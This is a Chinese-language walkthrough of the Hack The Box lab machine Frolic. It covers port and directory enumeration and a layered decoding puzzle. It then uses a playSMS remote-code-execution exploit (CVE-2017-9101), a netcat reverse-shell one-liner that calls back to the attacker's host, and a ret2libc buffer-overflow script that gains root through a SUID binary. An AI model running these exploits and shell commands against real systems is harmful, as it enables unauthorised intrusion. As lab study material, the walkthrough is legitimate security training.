概述 (Overview)
- MACHINE TAGS
- C
- Cryptography
- SUID
- Binary Exploit
攻击链 (Kiillchain)
TTPs (Tactics, Techniques & Procedures)
- nmap
- dirsearch
- buffer overflow
- python
阶段1:枚举
老规矩,还是通过 nmap 开始枚举服务开放服务和开放端口:
# mkdir {nmap,files}
# nmap -p- -oA nmap/AllPort.txt 10.10.10.111 --max-retries 0
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-19 08:56 EDT
Warning: 10.10.10.111 giving up on port because retransmission cap hit (0).
Nmap scan report for forlic.htb (10.10.10.111)
Host is up (0.074s latency).
Not shown: 64264 closed ports, 1266 filtered ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss
Nmap done: 1 IP address (1 host up) scanned in 26.53 seconds
# cat nmap/AllPort.txt.nmap | grep open | awk -F '/' '{print $1}' | paste -sd','
22,139,445,1880,9999
# nmap -p22,139,445,1880,9999 -sC -sV -oA nmap/Port --max-retries 0 10.10.10.111
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-19 09:04 EDT
Nmap scan report for forlic.htb (10.10.10.111)
Host is up (0.11s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA)
| 256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA)
|_ 256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1880/tcp open http Node.js (Express middleware)
|_http-title: Node-RED
9999/tcp open http nginx 1.10.3 (Ubuntu)
|_http-server-header: nginx/1.10.3 (Ubuntu)
|_http-title: Welcome to nginx!
Service Info: Host: FROLIC; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: mean: -1h49m59s, deviation: 3h10m31s, median: 0s
|_nbstat: NetBIOS name: FROLIC, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
| Computer name: frolic
| NetBIOS computer name: FROLIC\x00
| Domain name: \x00
| FQDN: frolic
|_ System time: 2021-04-19T18:34:51+05:30
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2021-04-19T13:04:52
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.76 seconds
通过上述信息获悉开放端口:22,139,445,1880,9999。而 smb 服务,可能存在潜在的利用风险。
通过 enum4linux
工具进行枚举:# enum4linux 10.10.10.111
,发现是存在匿名访问的:
[+] Enumerating users using SID S-1-5-21-3106657666-1405957921-1930463546 and logon username '', password ''
S-1-5-21-3106657666-1405957921-1930463546-513 FROLIC\None (Domain Group)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\sahay (Local User)
S-1-22-1-1001 Unix User\ayush (Local User)
再看查看下被识别为 http 服务器的 9999、1880 端口:
根据 title 进行相关服务的信息搜索:
Node-RED是一种编程工具,用于以新颖有趣的方式将硬件设备、API和在线服务连接在一起。它提供了一个基于浏览器的编辑器,使您可以轻松地使用设计器中的各种节点将流连接在一起,只需单击即可将其部署到其运行,简洁高效的完成一个服务的部署。
尝试后发现并不能利用,失败。
阶段2:工具和利用
阶段2.1:寻找Web系统登录账号
在使用 nmap 脚本 smb-enmu-shares
进行检查时,发现 IPC$
存在读、写权限,且 path
中含有 Windows 的绝对路劲:
同时,在使用 dirsearch
对 9999 端口的web服务进行目录枚举时,发现 /backup/
目录存在提示信息:
> git clone https://github.com/maurosoria/dirsearch.git
# python3 dirsearch.py -u http://10.10.10.111:9999 -t 30
/admin (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
/backup (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
/dev (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]
/test (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/]
逐一用浏览器查看:
user.txt -> user - admin
password.txt -> password - imnothuman
利用或得到的密码组尝试登陆,提示失败。
尝试查看下页面源代码,查看是否存在注释类提示,发现一个可疑的 JavaScript :<script src="js/login.js"></script>
var attempt = 3; // Variable to count number of attempts.
// Below function Executes on click of login button.
function validate(){
var username = document.getElementById("username").value;
var password = document.getElementById("password").value;
if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}
else{
attempt --;// Decrementing by one.
alert("You have left "+attempt+" attempt;");
// Disabling fields after 3 attempts.
if( attempt == 0){
document.getElementById("username").disabled = true;
document.getElementById("password").disabled = true;
document.getElementById("submit").disabled = true;
return false;
}
}
}
阅读代码可知,等登陆用户组为 admin:superduperlooperpassword_lol
时,将会重定向到 success.html
页面。
阶段2.2:“俄罗斯套娃”式解密
直接预览即可,但是显示的是一窜意义不明的字符串:
..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.
通过搜索:ctf .!? decode
,发现线索指向的 Ook! 加密,尝试寻找对应解密:
https://www.splitbrain.org/services/ook
> Nothing here check /asdiSIAJJ0QWE9JAS
也可以使用 https://www.dcode.fr/ook-language
,这个网站挺屌的,几乎涵盖了市面上可见的各种加解密,支持类型可看 https://www.dcode.fr/tools-list。
解出来的内容看着像路径,请求后返回了一段 base64 内容 encode:
解码后发现带有 PK
头,判断是一个压缩包:
进行还原:
echo 'UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwABBAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbsK1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmveEMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTjlurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkCAAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUGAAAAAAEAAQBPAAAAAwEAAAAA' | base64 -d > 1.zip
使用 7z
进行解压: $ 7z x 1.zip
,发现需要密码才能解压,尝试之前搜索到的密码进行碰撞都失败。
最终通过 zip2join 对压缩包进行枚举,得到解压密码:password
,解压后得到 index.php
文件,内容:
4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a
内容有点像十六进制,尝试通过 decoder-plus-plus
还原,你也可以用 CyberChef 进行还原:
KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==
看内容还是 base64,尝试解码得到新的内容:
+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ +[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .---. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..<
直接拿一小段在 dcode 上进行搜索,指向的是 Brainfuck
:
通过解码得到:idkwhatispass
阶段2.3:登录CMS系统后台
到此我非常非常困惑,解了这么久就得到一个无用的字符串(用它作为密码进行碰撞,smb、ssh、已知的Web系统登录,都是失败的)。
琢磨了很久,怀疑是自己枚举的信息不全,尝试使用递归对Web服务进行再次的目录枚举:
$ python3 dirsearch.py -u http://10.10.10.111:9999 -r -R 3 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50
_|. _ _ _ _ _ _|_ v0.4.1
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 50 | Wordlist size: 4681
Error Log: /home/kali/tools/dirsearch/logs/errors-21-04-19_10-54-25.log
Target: http://10.10.10.111:9999/
Output File: /home/kali/tools/dirsearch/reports/10.10.10.111/_21-04-19_10-54-26.txt
[10:54:26] Starting:
[10:54:28] 301 - 194B - /admin -> http://10.10.10.111:9999/admin/ (Added to queue)
[10:54:29] 301 - 194B - /backup -> http://10.10.10.111:9999/backup/ (Added to queue)
[10:54:30] 301 - 194B - /dev -> http://10.10.10.111:9999/dev/ (Added to queue)
[10:54:36] 301 - 194B - /test -> http://10.10.10.111:9999/test/ (Added to queue)
[10:54:37] Starting: admin/
[10:54:42] 301 - 194B - /admin/css -> http://10.10.10.111:9999/admin/css/ (Added to queue)
[10:54:43] 200 - 634B - /admin/index.html
[10:54:44] 301 - 194B - /admin/js -> http://10.10.10.111:9999/admin/js/ (Added to queue)
[10:54:49] Starting: backup/
[10:54:55] 200 - 28B - /backup/index.php
[10:55:03] Starting: dev/
[10:55:08] 301 - 194B - /dev/backup -> http://10.10.10.111:9999/dev/backup/ (Added to queue)
[10:55:17] 200 - 5B - /dev/test
[10:55:20] Starting: test/
[10:55:28] 200 - 82KB - /test/index.php
[10:55:34] Starting: admin/css/
[10:55:48] Starting: admin/js/
[10:56:02] Starting: dev/backup/
[10:56:09] 200 - 11B - /dev/backup/index.php
Task Completed
原来还有个 /dev/backup/
,访问后最终重定向到 /playsms/index.php
页面:
http://forlic.htb:9999/dev/backup/
-> http://forlic.htb:9999/playsms/
-> http://forlic.htb:9999/playsms/index.php?app=main&inc=core_auth&route=login
尝试使用密码组:admin:idkwhatispass
,成功登录该CMS服务:
阶段2.4:CMS后台RCE
根据 CMD 版本信息查询 exploit-db,获悉到后台存在RCE漏洞:CVE-2017-9101
在github上找到了利用脚本: https://raw.githubusercontent.com/jasperla/CVE-2017-9101/03ceed61209b805a02ca27d57cc2e7a4b51b5288/playsmshell.py
python3 playsmshell.py --url http://forlic.htb:9999/playsms --password idkwhatispass -c id
[*] Grabbing CSRF token for login
[*] Attempting to login as admin
[+] Logged in!
[*] Grabbing CSRF token for phonebook import
[*] Attempting to execute payload
uid=33(www-data) gid=33(www-data) groups=33(www-data)
测试存在RCE漏洞,接着进行反弹shell上线:"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.16.15 9900 >/tmp/f"
成功在 ayush 用户目录下找到了user flag。
阶段3:权限提升
阶段3.1:利用htbenum进行信息收集
尝试用 htbenum(https://github.com/SolomonSklash/htbenum
) 对目标服务器进行信息收集:
这个我在前面的文章中也使用过,一般我都是用来作为 linpeas 的一个补充工具使用的。
在打包回来的压缩文件中,有个 rop 文件引起了我的注意,它具备SUID权限:
一般 rop
是指逆向中的一个技术:ROP的全称为Return-oriented programming(返回导向编程),这是一种高级的内存攻击技术可以用来绕过现代操作系统的各种通用防御(比如内存不可执行和代码签名等)。
搜下目标服务器是否存在 gdb:
果然存在,看来这最后的提权是要利用逆向分析及缓冲区溢出才能提权了。
阶段3.2:缓冲区溢出分析
首先我们下载 Ghidra 工具来进行逆向分析,官网:
Ghidra Download page: https://www.ghidra-sre.org/
Github Repository Link: https://github.com/NationalSecurityAgency/ghidra
kali 中使用如下命令进行安全即可:
apt update
apt install default-jdk
apt install -y ghidra
工具的使用我就不过多介绍了,想了解的人自然会去google搜索去学习,不想了解的喂他嘴里都没卵用。反正这些东西都是写给自己的总结,我又不需要对谁负责。
工具打开后完成设置,导入 rop
文件,窗口可以自己在菜单中选择或拖拽:
通过右上角的反编辑代码,可以看到,程序在执行时首先将执行身份设置为 root
,然后再去做if判断,里面包含了一个 vuln
函数:
通过阅读代码了解到,char
类型的 local_34
只有 48 个字节,当用 strcpy
函数对传递变量 param_1
做字符串拷贝时存在越界,导致溢出漏洞:
我们通过本地 gdb 进行调试验证:
在用 checksec
验证下这个执行文件有没有开启相关的安全限制,这将对后面编写 poc 时提供便利:
然后为了搞定这个简单的缓冲区溢出,开始疯狂学习充电,从上篇文件的 PWN DATE
时间就能看出来,我整整啃了将近两个月… 人都麻了… 真的… 这还只是简单的栈溢出,没加任何防护限制的情况下囫囵吞枣的学习…
期间的学习笔记:
但我学习完后发现和这道题还不一样,因为存在环境和保护配置差异,为啥?因为目标机器的开启了NX:ENABLED
,而我这段时间学的都是未开启任何保护的,利用的是注入shellcdoe执行。人麻了,又要重新学习一下,绕过NX(栈不可执行保护)才行…
最后在 https://blog.huisa.win/pwn/Pwn-basic-rop/ 文章中找到类似的实例,其实利用的攻击方式是 Return to libc
。
然后根据 Return to libc
找到了 :
好吧,大佬期刊里用的还是IDE远程逆向分析。
NX exploit 编写步骤:
- 获取 libc 库 地址
- 获取 system 函数地址
- 获取 /bin/sh 命令字符串地址
- 获取 EIP 的偏移量
综上相关内容,通过进行一步的学习,开始编写利用的POC。首选判断文件的编译环境,这将决定我们编写内容使用多少字节,这里是32位的。
接着找 libc.so 库地址 和 system 函数地址:
因为不知道ret的返回地址还需要找到 exit
函数地址:
找 /bin/sh
命令字符串地址:
编写 exploid 脚本:
#!/usr/bin/env python
import struct
from subprocess import call
# 构造内存地址中的内容
libc = 0xb7e19000
system = struct.pack( '<I', libc + 0x0003ada0)
exit = struct.pack( '<I', libc + 0x0002e9d0 )
binsh = struct.pack( '<I', libc + 0x0015ba0b )
payload = system + exit + binsh
# print payload
buf = "\x90" * 52
buf += payload
print "Calling vulnerable program"
call(["/home/ayush/.binary/rop", buf])
执行后成功获取到 root shell。
不过还是一知半解,希望有二进制逆向大佬能带带我,想学PWN…
复盘
- 运行
$ltrace ./rop id
可以查看到部分执行过程。 - 使用 PhotoRec 恢复文件可以最终找到 rop.c 源文件
参考
- https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html
- https://executeatwill.com/2019/04/04/Install-Ghidra-on-Kali-Linux/